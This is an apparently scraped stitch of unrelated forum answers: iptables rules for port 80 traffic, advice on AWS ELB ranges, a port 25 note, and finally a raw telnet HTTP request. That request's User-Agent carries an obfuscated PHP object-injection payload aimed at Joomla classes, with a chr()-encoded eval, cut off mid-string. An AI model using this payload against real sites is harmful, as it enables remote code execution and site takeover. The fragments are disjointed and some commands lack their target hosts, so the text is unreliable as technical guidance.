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You can use this: iptables -A OUTPUT -p tcp -d --dport 80 -j ACCEPT You can use web address (but must be domain) for -d (destination) And don't forget att set allow also incoming traffic for same site: iptables -A INPUT -p tcp -s --dport 80 -j ACCEPT Edit: If that not goes ... you must make script with take info om ip addres whit command:...


You need to find out the IP ranges used by the website using ELB, and add iptables outgoing ALLOW rules to them. Since you didn't include any existing firewall configuration information in your question, I cannot give any more specific instructions.


Incorrect access restriction to the service. Its the step 6 of your tutorial. If its setup correctly be sure you have no antivirus that scan/restrict the port 25. It can cause such issue too.


telnet 80 GET / HTTP/1.0 Host: User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:870:"eval(chr(102).chr(112).chr(117).chr(116).chr(115).chr(40).chr(102).chr(111)...

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